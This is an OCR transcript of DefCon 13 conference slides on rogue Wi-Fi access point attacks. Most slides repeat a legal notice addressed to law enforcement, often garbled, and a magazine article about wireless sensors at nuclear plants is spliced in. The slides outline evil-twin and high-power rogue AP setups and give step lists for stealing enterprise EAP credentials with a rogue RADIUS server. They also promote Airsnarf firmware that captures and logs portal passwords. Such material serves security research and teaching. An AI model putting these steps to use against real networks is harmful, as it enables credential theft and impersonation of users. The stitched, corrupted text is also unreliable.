Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e., "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stored electronic communications are protected by the ECPA from seizure or even "preventing authorized access" without a warrant specific to each person's email. Seizing the computer where this email resides would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can tind them in USC 18, 2707. On this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment.



New Wi-Fi kung-fu from Beetle...

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute Violation of this statute by law cement agents is verv likelv to result in a civil suit as provided Section 2000aa-6. and every person work product material on this system is en to recover at least minimum damages of \$1000 plus all legal expenses. Agents in states may not be protected from personal civil liability thev violate this statute

In addition, there is email, i.e. 'stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stóred electronic communications are protected by the ECPA from seizure or preventing authorized without a warran fic to each person's email the computer where email resides prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You find them in USC 18, 2707. this system you can expect multiple people to have stored Each of them is entitled email. to collect \$1000 plus all expenses for violations Section 2700 and 27 ensure you have appropriate warrants before seizing



Why oh why do we Wi-Fi?

- Who here has an open wireless network at home? At work?
- Crap! My Tivo can't do WPA. Neither can my PSP. Ummm... does it matter?
- When and where should we Wi-Fi?
 - Coffee Shops? Airports? Hospitals?
 Banks? Ummm... Nuclear Power
 Plants? DefCon 13

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entilled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e. 'stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stóred electronic communications are protected by the ECPA from seizure or "preventing authorized s" without a warrant even access" specific to each person's email. Seizing the computer where this email resides would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment.



IT IN THE PLANT

standards. The same infrastructure also will provide wired LAN connectivity throughout the plant for both voice and data applications as well as for remote video monitoring and control.

According to Carter, TXU plans to use the wireless solution—provided by Azima—to help Comanche Peak integrate its work order management and scheduling processes, electronic procedures, clearance and safety tagging, operator logs, equipment monitoring, electronic messaging, plant drawings, phone books, equipment references and locations, and selected Internet/intranet access. Video applications will include radiation protection monitoring, remote equipment monitoring, and video conferencing.

So far, Azima has installed monitoring



4. Collecting the data. A typical wireless access point at Comanche Peak. So far, Azima has installed monitoring devices on more than 50 pieces of critical equipment within Unit 2. *Courtesy: TXU*

46

devices on more than 50 pieces of critical equipment within Unit 2 of Comanche Peak. Besides vibration, the devices also monitor current, partial discharge, motor speed, and other key variables. Other wireless applications already installed throughout the plant include mobile computing, video monitoring, and VoIP telephones (Figure 4).

More wireless implementation stories

Two other projects underscore the growing popularity of wireless machinery monitoring. One is at Exelon Nuclear's Limerick Generating Station (Figure 5) in Montgomery County, Pa. The Limerick plant has had maintenance problems with the fans used to exhaust turbine enclosures. Nicknamed "fans-in-a-can" because they are typically mounted inside cylindrical ducts, these fans are inaccessible to technicians while the plant is on-line. But since the installation of transmitter-equipped vibration and temperature sensors on the fans' motors, Limerick has seen reductions in the time and costs of document control and tracking, data conversion/transcription, and error checking/reduction.

The other wireless monitoring project worth mentioning was at the San Onofre Nuclear Generating Station in California. Engineers at the plant had long wanted to remotely monitor the temperature of several 2,500-hp secondary plant motors as an indicator of their health. According to Lloyd



5. Watching those "fans in a can." At Exelon Nuclear's Limerick Generating Station, wireless technology is being used to monitor inaccessible fans and motors. *Courtesy: Exelon Nuclear*

Pentecost, a maintenance engineer at the plant, "If a motor were to fail unexpectedly, the plant would have to operate at only 80% capacity for a number of days, and the losses could exceed \$400,000." Pentecost is pleased with the network of wireless temperature sensor/transmitters that has been installed at San Onofre because "Collecting and analyzing motor temperature data in real time allows action to be taken before a catastrophic failure occurs."

EPRI promotes wireless

The Comanche Peak de-wiring project was executed in partnership with EPRI, which set up the performance benchmarks and monitored the project. EPRI plans to issue a comprehensive report on it this summer.

Ramesh Shankar, who is spearheading an EPRI program to evaluate the feasibility of installing more remote monitoring systems at U.S. utility generating stations, believes that wireless is a technology whose time has come. He says a major focus of the effort is to determine the extent to which wholesale deployment of wireless devices might improve plant safety and reliability.

Shankar adds that his program already has two "products." One lays out the business case for applying wireless technologies; the other offers advice to plant managers on implementation and regulatory issues. To support the effort, EPRI has formed a Wireless Technology Working Group to develop guidelines and to help member companies achieve reliable, economical, and safe use of wireless devices. EPRI also has helped the DOE's Oak Ridge National Laboratory form the Wireless Industrial Networking Alliance (WINA). The mission of WINA is to promote a dialogue among suppliers, end users, and government about wireless technologies in the nation's power plants.

To accelerate the adoption of wireless technologies for machinery monitoring and data/voice/video communications, WINA is focusing on four different activities:

- Explaining wireless technologies to end users.
- Promoting effective standards, regulations, and practices.
- Quantifying and communicating the benefits of going wireless.
- Benchmarking against customer requirements.

Each year, WINA sponsors two wireless workshops that are focused solely on the power generation industry. The next one is scheduled for October 3–5 in Jersey City, N.J. **u**

on 13

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e., "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stored electronic communications are protected by the ECPA from seizure or even "preventing authorized access" without a warrant specific to each person's email. Seizing the computer where this email resides would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment.





4. Collecting the data. A typical wireless access point at Comanche Peak. So far, Azima has installed monitoring devices on more than 50 pieces of critical equipment within Unit 2. *Courtesy: TXU*

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which in storage less than on this system Such stòred electronic communications are protected ECPA from seizure preventing authorized without a resides authorized such There are civil actions which mav be taken aqainst law provision of the Act. You find them in USC 18, 2707. system you can expect Each of them is to collect \$1000 for you have appropriate before seizing



Where did we go wrong? Where are we going?

- Technology of convenience versus the inconvenience of securing it.
- The poor, poor users were left out in the authentication cold.
- Half-ass security standards pass the buck and / or provide defacto insecure options.
- Security acronyms have taken precedence over proper implementation.
 DefCon 13



"Choose a Mobile Network with Care."

For a low-priced mobile network, choose FI2G/FINNET.



Hello Switch to Radiolinja for Elisa, the Vodafone network in Finland.

1.

Hello We've changed our name! Radiolinja is now called Elisa, the Vodalone network in Finland.

alica






"CHOOSE A MOBILE NETWORK AT RANDOM!"

Club World. More beds, more places, more often.



The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e., "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stored electronic communications are protected by the ECPA from seizure or even "preventing authorized access" without a warrant specific to each person's email. Seizing the computer where this email resides would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment.



How the FUCK does the user know?!



The owners and users of this system are exercising First Ar

Access Point



SSID: "goodguy"

Stronger or Closer Access Point



SSID: "badguy"



Wi-Fi Card

SSID: "badguy"

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e. "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has days on this system. Such stóred electronic communications are protected by the ECPA from seizure or "preventing authorized without a warrant access' specific to each person's email Seizing the computer where email resides would this prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can avoid this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. ensure you have appropriate warrants before seizing this equipment



Rogue AP Attacks Choose your Wi-Fi

weapon...

Cisco Gear @ 100mW (20dBm)

Normal Gear @ 25mW (14dBm) Senao Gear @ 200mW (23dBm)

Use a 15dBd antenna with a Senao for 38dBd total...

6 WATTS!

VS 25mW?

BAD GUY WINS! NO CONTEST!

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e., 'stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stóred electronic communications are protected by the ECPA from seizure or preventing authorized even access" specific to each person's email. Seizing the computer where this email resides would access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this extrem you can avoid this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment.



1



🕝 Internet

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e., "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stóred electronic communications are protected by the ECPA from seizure or even "preventing authorized access" without a warrant specific to each person's email. Seizing the computer where this email resides would access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this extrem you can avoid this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment.





The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e., "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stóred electronic communications are protected by the ECPA from seizure or preventing authorized without a warrant even access" specific to each person's email. Seizing the computer where this email resides would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this extern you can avoid this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment.





The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which in storage less than on this system stòred communications are protected ECPA from seizure preventing authorized without a resides such authorized There are civil actions which may be taken against law provision of the Act. find them in USC 18, 2707. system you can Each of them is to collect \$1000 for you have appropriate before seizing



Rogue APs won't go away...

- Users will be users, and they WILL fall for access point "impersonators".
- If you didn't notice, phishing and identity theft are on the rise... and so is hotspot usage.
- "Extra" wireless client profiles provide extra avenues of attack.
- EAP is an acronym, not a catch-all.

DefCon 13

• Gartner can blow us.

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendmen Privacy Protection Act of 42. Section 2000aa lote that this is a civil state ion of this statute ement agents to result in a civil suit as provided Section 2000aa-6 and every prod on this sys states may not be from personal civil liability thev víolate this statute

there is email, i.e. In addition. stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which in storage less than 180 on this system davs Such stòred electronic communications are protected ECPA from seizure preventing authorized without a to each person's the computer resides such authorized access. There are civil actions which may be taken against law provision of the Act. find them in USC 18, 2707 system you can Each of them is to collect \$1000 for you have ap before seizing



Rogue RADIUS

- Who says rogue APs can't be used against corporate wireless networks?
- There are plenty of ways to screw up EAP.
- FreeRADIUS provides a simple & easy way to accept EAP credentials
 - Integrates nicely with hostapd.
- Can allow for "EAP Peeking f. Con 13







The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6.

111221

Each and even has "work pristored on this s to recover at damages of \$10 expenses. Ag states may no from personal they violate this

In addition, th "stored

communication the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stóred electronic communications are protected by the ECPA from seizure preventing authorized without a warrant specific to each person's email Seizing the computer where email resides would this prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can avoid this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations Section 2700 and 2703. ensure you have appropriate warrants before seizing this equipment



EAP-TTLS w/___ PAP Attack?

Windows XP w/ SP2

EAP-TTLS w/ PAP



Rogue AP w/ Rogue RADIUS Server



Wireless

Wired

RADIUS Server

1. Disassociate users.

2. Learn username & password.

3. Disassociate, copy creds to local EAP config.

4. Impersonate victim with legit username & password whenever.

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e., "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stored electronic communications are protected by the ECPA from seizure or even "preventing authorized access" without a warrant specific to each person's email. Seizing the computer where this email resides would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment.



All Your PAP... Google for targets, if you like. ;)

| - | iecureW2 l | Profile: DEF | FAULT | | | | |
|---|------------|-------------------------|----------------|--------------|-----|------|-------|
| | | | N | Alfa & Ariss | | | |
| | Connection | Certificates | Authentication | User account | _ | | |
| | Select Au | thentication M EAP T | ethod: PAP | Configure | | | |
| | Advanced | | | OK Can | cel | DefC | on 13 |

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e., "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stored electronic communications are protected by the ECPA from seizure or even "preventing authorized access" without a warrant specific to each person's email. Seizing the computer where this email resides would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment.



All Your CAs... The "All or None" Vulnerability

| tected EAP | Properties | | | ? 🔀 | | |
|-----------------------|---------------------------------|-------------------|-----------------|-----|------|----|
| ien connecting | : | | | | | |
| <u>Validate ser</u> | ver certificate | | | | | |
| Connect to | these servers: | | | | | |
| | | | | | | |
| rusted <u>R</u> oot | Sertification Authori | ties: | | | | |
| ABA.ECC | M Root CA | | | ~ | | |
| Autoridad | Certificadora de la | Asociacion Nacio | onal del Notari | a | | |
| Autoridad | Certificadora del C | olegio Nacional d | le Correduria I | P | | |
| Belgacor | EZ DY UST E-Trust Primary CA | | | | | |
| | SecureNet CA Clas | s A | | | | |
| | SecureNet CA Clas | s B | | ~ | | |
| < | | | > | | | |
| Do not pro | opt user to authoriz | e new servers o | r trusted | | | |
| certificatio | authorities. | | | | | |
| act Authoritic | tion Method | | | | | |
| set Addrendo | idon mechod. | 2 | | | | |
| cured passwo | rd (EAP-MSCHAP v2 | 2) | | ure | | |
| <u>E</u> nable Fast F | econnect | | | | | |
| | | OK | | rel | | _ |
| | | | | | JetC | on |

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6.

HIP HIL

Each and even has "work pristored on this s to recover at damages of \$10 expenses. Ag states may no from personal they violate this

In addition, th "stored

communication the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stóred electronic communications are protected by the ECPA from seizure or preventing authorized without a specific to each person's email Seizing the computer where email resides prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations Section 2700 and 2703. ensure you have appropriate warrants before seizing this equipment



PEAP Attack?

Windows XP SP2

PEAP w/ MSCHAPv2 over TLS



Rogue AP w/ Rogue RADIUS Server



Wireless

Wired

RADIUS Server

1. Disassociate users.

2. Learn DOMAIN and username w/ rogue AP.

3. Disassociate, seed local password file.

4. User continuously attempts to reauthenticate.

5. Repeat #3. Authentication success = correct password 13 guessed!

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

there is email, i.e stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which in storage less than on this system Such stòred electronic communications are protected ECPA from seizure preventing authorized without a resides such authorized access. There are civil actions which mav be taken aqainst law sion of the Act. find them in USC 18, 2707 system you can to collect \$1000 for vou have a before seizing



Wireless Weaponry for Windows

- But rogue AP attacks require a "sophisticated hacker", right? Wrong.
- SoftAP + TreeWalk + Apache + ActivePerl = Airsnarf for Windows
 - http://airsnarf.shmoo.com/airsnarf4win.
 - "Evil Twin Access Points for Dummies"
- But why only run one rogue AP, when you can run two... **orthree? 13**

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendmen Privacy Protection Act of 1 42. Section 2000aa) Note that this is a civil statute liolation of this statute by cement agents to result in a civil suit as provided Section 2000aa-6 and every work prod on this system is to recover at damages of \$1000 plus all lega expenses. Agents in states may not be from personal civil liability thev violate this statute

In addition, there is email, i.e. 'stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which been in storage less than 180 on this system. days Such stóred electronic communications are protected by the ECPA from seizure or preventing authorized without a to each person's emai the computer email resides such authorized access. There are civil actions which may be taken against law enforcement provision of the Act. find them in USC 18, 2707. this system you can Each of them is to collect \$1000 for expenses Section 2700 and 2 you have appropriate before seizing



Rogue Squadron

- Because it's SO hard to run Airsnarf (the SHELL script)...
- Rogue AP setup for the masses
- Modified WRT54G firmware
 - Based off of Ewrt
 - Adds username & password portal capture and logging

DefCon 13

• Looks like this...

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e., "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stóred electronic communications are protected by the ECPA from seizure or even preventing authorized access without a warrant specific to each person's email. Seizing the computer where this email resides would access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this extrem you can avoid this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment.



| 000 | | | Setup | | |
|--|--------------------|-------------------------|--------------------------|--------------------------------------|--|
| 🖯 🔘 🥝 😢 | Shttp://192.16 | 58.1.1/ | | Q-Google | |
| ack Forward Reload Stop | | Locat | tion | Search | Bookn |
| Camino Info 📄 News 🏢 Ma | ac News Tabs G Goo | ogle | | | |
| | | | | | |
| Airsnarf | | | | | |
| | | | | Firmware Version: | Rogue Squadron 0. |
| | | | Wireless | -G Broadband Router | WRT54G |
| Setup | Setup Wire | eless Security | Access Restrictions & Ga | ations Administration | Status |
| | Basic Setup | 1 DONS | I MAC Address Clone | Advanced Routing | |
| | | | | | |
| Internet Setup | | | | | |
| Internet Connection Type | Automatic C | onfiguration - DHCP | | Automatic Con DHCP: This set | figuration - ing is most |
| | | | | commonly used | by Cable |
| Optional Settings (required by some ISPs) | Router Name: | WRT54G | | Host Name: En | ter the host nam |
| | Host Name: | | | provided by you | r ISP. |
| | Domain Name: | - | | name provided | by your ISP. |
| | Domain Hame. | | | more | |
| | MIU: | Auto | | | |
| | Size: | 1500 | | address of the r | ss: This is the outer. |
| Notwork Setur | | | | Subnet Mask: mask of the rou | this is the subnet ter. |
| Network Setup | | | | | |
| Router IP | Local IP Addres | s: 192 168 1 | 1 | to manage your | Allows the router IP addresses. |
| | Suboot Mark | 255 255 255 0 | | address you wo | ress: The uld like to start |
| | Gubilet Mask. | | | With. Maximum num | ber of DHCP |
| | Gateway: | | | of addresses yo | y limit the number our router hands |
| | Use the local | al gateway as the defau | it gateway | out. More | |
| Network Address Server Settings (DHCP) | DHCP Server: | 🖲 Enable 🔘 D | isable | Time Setting: Y | ou may set the |
| eerrer eennige (errer) | Starting IP Addr | ress: 192.168.1.100 | | time manually. (Automatically if | Or choose you wish to use a |
| | Maximum Numb | erof 50 | | NTP server to k accurate time. C | eep the most Choose the time |
| | DHCP Users: | | | zone you are in also adjust auto | . The router can matically for |
| | Client Lease Tin | ne: v minutes (0 | means one day) | daylight savings | time. |
| | Static DNS 1: | | . 0 | | |
| | Static DNS 2: | 0.0.0 | . 0 | | |
| | Static DNS 3: | 0,0,0 | . 0 | | |

0

Document: Done

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e., "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stóred electronic communications are protected by the ECPA from seizure or even preventing authorized access without a warrant specific to each person's email. Seizing the computer where this email resides would access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this extrem you can avoid this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment.



| 000 | | No | ocat | | | |
|-------------------------|---|---|--|--------------------------|-------------------------------------|----------------------------|
| ack Forward Reload Stop | http://192.168.1. | 1/Nocat.asp Location | n | | Q - Google Search | Bookm |
| | tews rabs Gloodge | | | | | |
| | | | w | /ireless-G Bro | Firmware Version: oadband Router | Rogue Squadron 0 WRT54G |
| Access = | Setup Wireles | s Security | Access Restrictions | Applications & Gaming | Administration | Status |
| | NoCatSplash: Gateway Name Home Page Allowed Web Hosts Document Root Exclude Ports Login Timeout Verbosity Route Only: | Enable The Shmoo Grou http://airsnarf.sl shmoo.com /usr/share/noca 25 864C 0 Enable Enable | Disable p hmoo.com/ at/htdocs/ Disable | | | |
| | | | Save Settings Ca | ncel Changes | | |

| <text><text></text></text> | | 000 | | | 0 | | |
|--|--|-------------------|---------------|---|----------------------|-----------|--|
| <text></text> | NOTICE TO LAW ENFORCEMENT AGENTS | Back Forward Relo | d Stop | ttp://192.168.1.1:5280/?redirect=http%3A//www.google.com/ Location | Q - Google Search | Bookmarks | |
| <pre>Some material on this system is</pre> | The owners and users of this system are exercising First Amendment rights. | Camino Info 📄 Ne | /s 🔟 Mac News | Tabs GGoogle | | | |
| | Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute. In addition, there is email, i.e., "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stored electronic communications are protected by the ECPA from seizure or even "preventing authorized access" without a warrant specific to each person's email. Seizing the computer where this email resides would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment. | | | Image: Constraint of the second s | | | |



The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e. "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stóred electronic communications are protected by the ECPA from seizure or preventing authorized without a warrant even access" specific to each person's email Seizing the computer where this email resides would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment



root@192.168.1.1's password:

Airsnarf

Rogue Squadron v0.1 Firmware for the WRT54G by The Shmoo Group http://airsnarf.shmoo.com

Proof-of-concept rogue AP firmware for the Linksys WRT54G, based on the Ewrt firmware v0.3 beta 1 by Portless Networks, which is based on the Linksys 3.01.3 codebase.

